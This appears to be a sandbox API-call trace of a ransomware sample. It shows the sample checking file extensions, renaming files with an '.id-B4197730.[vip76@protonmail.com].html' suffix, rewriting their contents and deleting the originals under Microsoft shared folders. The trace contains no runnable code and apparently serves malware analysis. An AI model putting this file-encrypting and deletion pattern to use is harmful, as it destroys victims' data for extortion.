	[0082.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.062] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=9728) returned 1
	[0082.062] CloseHandle (hObject=0x380) returned 1
	[0082.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20
	[0082.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.062] lstrlenW (lpString=".doc") returned 4
	[0082.062] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.063] lstrlenW (lpString=".docx") returned 5
	[0082.063] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.063] lstrlenW (lpString=".pdf") returned 4
	[0082.063] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.063] lstrlenW (lpString=".xls") returned 4
	[0082.063] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.063] lstrlenW (lpString=".xlsx") returned 5
	[0082.063] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.063] lstrlenW (lpString=".ppt") returned 4
	[0082.063] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.063] lstrlenW (lpString=".zip") returned 4
	[0082.063] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.063] lstrlenW (lpString=".rar") returned 4
	[0082.063] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.063] lstrlenW (lpString=".bz2") returned 4
	[0082.063] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.063] lstrlenW (lpString=".7z") returned 3
	[0082.063] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.063] lstrlenW (lpString=".dbf") returned 4
	[0082.063] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.063] lstrlenW (lpString=".1cd") returned 4
	[0082.063] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.063] lstrlenW (lpString=".jpg") returned 4
	[0082.063] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString=".doc") returned 4
	[0082.064] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.064] lstrlenW (lpString=".docx") returned 5
	[0082.064] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.064] lstrlenW (lpString=".pdf") returned 4
	[0082.064] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.064] lstrlenW (lpString=".xls") returned 4
	[0082.064] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.064] lstrlenW (lpString=".xlsx") returned 5
	[0082.064] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.064] lstrlenW (lpString=".ppt") returned 4
	[0082.064] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString=".zip") returned 4
	[0082.064] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.064] lstrlenW (lpString=".rar") returned 4
	[0082.064] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.064] lstrlenW (lpString=".bz2") returned 4
	[0082.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.064] lstrlenW (lpString=".7z") returned 3
	[0082.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString=".dbf") returned 4
	[0082.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString=".1cd") returned 4
	[0082.064] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72
	[0082.064] lstrlenW (lpString=".jpg") returned 4
	[0082.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.065] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.065] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27
	[0082.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.065] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8704) returned 1
	[0082.065] CloseHandle (hObject=0x380) returned 1
	[0082.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20
	[0082.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.065] lstrlenW (lpString=".doc") returned 4
	[0082.065] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString=".docx") returned 5
	[0082.066] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.066] lstrlenW (lpString=".pdf") returned 4
	[0082.066] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.066] lstrlenW (lpString=".xls") returned 4
	[0082.066] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.066] lstrlenW (lpString=".xlsx") returned 5
	[0082.066] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.066] lstrlenW (lpString=".ppt") returned 4
	[0082.066] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString=".zip") returned 4
	[0082.066] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.066] lstrlenW (lpString=".rar") returned 4
	[0082.066] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.066] lstrlenW (lpString=".bz2") returned 4
	[0082.066] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString=".7z") returned 3
	[0082.066] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString=".dbf") returned 4
	[0082.066] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString=".1cd") returned 4
	[0082.066] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString=".jpg") returned 4
	[0082.066] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.066] lstrlenW (lpString=".doc") returned 4
	[0082.066] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.066] lstrlenW (lpString=".docx") returned 5
	[0082.067] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.067] lstrlenW (lpString=".pdf") returned 4
	[0082.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.067] lstrlenW (lpString=".xls") returned 4
	[0082.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.067] lstrlenW (lpString=".xlsx") returned 5
	[0082.067] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.067] lstrlenW (lpString=".ppt") returned 4
	[0082.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.067] lstrlenW (lpString=".zip") returned 4
	[0082.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.067] lstrlenW (lpString=".rar") returned 4
	[0082.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.067] lstrlenW (lpString=".bz2") returned 4
	[0082.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.067] lstrlenW (lpString=".7z") returned 3
	[0082.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.067] lstrlenW (lpString=".dbf") returned 4
	[0082.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.067] lstrlenW (lpString=".1cd") returned 4
	[0082.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84
	[0082.067] lstrlenW (lpString=".jpg") returned 4
	[0082.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.067] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.068] lstrlenW (lpString="InkObj.dll.mui") returned 14
	[0082.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.476] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5120) returned 1
	[0082.476] CloseHandle (hObject=0x350) returned 1
	[0082.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20
	[0082.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.477] lstrlenW (lpString=".doc") returned 4
	[0082.477] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.477] lstrlenW (lpString=".docx") returned 5
	[0082.477] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.477] lstrlenW (lpString=".pdf") returned 4
	[0082.477] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.477] lstrlenW (lpString=".xls") returned 4
	[0082.477] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.477] lstrlenW (lpString=".xlsx") returned 5
	[0082.477] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.477] lstrlenW (lpString=".ppt") returned 4
	[0082.477] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.477] lstrlenW (lpString=".zip") returned 4
	[0082.477] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.477] lstrlenW (lpString=".rar") returned 4
	[0082.477] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.477] lstrlenW (lpString=".bz2") returned 4
	[0082.478] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.478] lstrlenW (lpString=".7z") returned 3
	[0082.478] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString=".dbf") returned 4
	[0082.478] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString=".1cd") returned 4
	[0082.478] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString=".jpg") returned 4
	[0082.478] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString=".doc") returned 4
	[0082.478] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.478] lstrlenW (lpString=".docx") returned 5
	[0082.478] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.478] lstrlenW (lpString=".pdf") returned 4
	[0082.478] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.478] lstrlenW (lpString=".xls") returned 4
	[0082.478] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.478] lstrlenW (lpString=".xlsx") returned 5
	[0082.478] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.478] lstrlenW (lpString=".ppt") returned 4
	[0082.478] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.478] lstrlenW (lpString=".zip") returned 4
	[0082.478] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.478] lstrlenW (lpString=".rar") returned 4
	[0082.478] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.479] lstrlenW (lpString=".bz2") returned 4
	[0082.479] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.479] lstrlenW (lpString=".7z") returned 3
	[0082.479] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.479] lstrlenW (lpString=".dbf") returned 4
	[0082.479] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.479] lstrlenW (lpString=".1cd") returned 4
	[0082.479] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71
	[0082.479] lstrlenW (lpString=".jpg") returned 4
	[0082.479] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.479] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.479] lstrlenW (lpString="micaut.dll.mui") returned 14
	[0082.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.485] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=9216) returned 1
	[0082.485] CloseHandle (hObject=0x350) returned 1
	[0082.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20
	[0082.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0082.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0082.489] lstrlenW (lpString=".doc") returned 4
	[0082.489] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.489] lstrlenW (lpString=".docx") returned 5
	[0082.489] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.489] lstrlenW (lpString=".pdf") returned 4
	[0082.489] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.489] lstrlenW (lpString=".xls") returned 4
	[0082.489] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.489] lstrlenW (lpString=".xlsx") returned 5
	[0082.489] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.489] lstrlenW (lpString=".ppt") returned 4
	[0082.489] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0082.489] lstrlenW (lpString=".zip") returned 4
	[0082.489] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.489] lstrlenW (lpString=".rar") returned 4
	[0082.489] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.489] lstrlenW (lpString=".bz2") returned 4
	[0082.489] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.489] lstrlenW (lpString=".7z") returned 3
	[0082.489] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned 71
	[0082.489] lstrlenW (lpString=".dbf") returned 4
	[0082.489] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0082.520] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.520] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.521] GetLastError () returned 0x0
	[0082.521] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x58cd0, lpOverlapped=0x0) returned 1
	[0082.531] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x58ce0, lpOverlapped=0x0) returned 1
	[0082.538] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.538] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0082.538] SetEndOfFile (hFile=0x38c) returned 1
	[0082.538] CloseHandle (hObject=0x38c) returned 1
	[0082.539] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.539] SetEndOfFile (hFile=0x380) returned 1
	[0082.542] CloseHandle (hObject=0x380) returned 1
	[0082.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1
	[0082.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.543] lstrlenW (lpString=".doc") returned 4
	[0082.543] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0082.543] lstrlenW (lpString=".docx") returned 5
	[0082.543] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0082.543] lstrlenW (lpString=".pdf") returned 4
	[0082.543] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0082.543] lstrlenW (lpString=".xls") returned 4
	[0082.543] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0082.543] lstrlenW (lpString=".xlsx") returned 5
	[0082.543] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0082.543] lstrlenW (lpString=".ppt") returned 4
	[0082.543] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0082.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.543] lstrlenW (lpString=".zip") returned 4
	[0082.543] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0082.543] lstrlenW (lpString=".rar") returned 4
	[0082.543] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0082.543] lstrlenW (lpString=".bz2") returned 4
	[0082.543] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0082.543] lstrlenW (lpString=".7z") returned 3
	[0082.543] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0082.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.543] lstrlenW (lpString=".dbf") returned 4
	[0082.543] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0082.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0082.543] lstrlenW (lpString=".1cd") returned 4
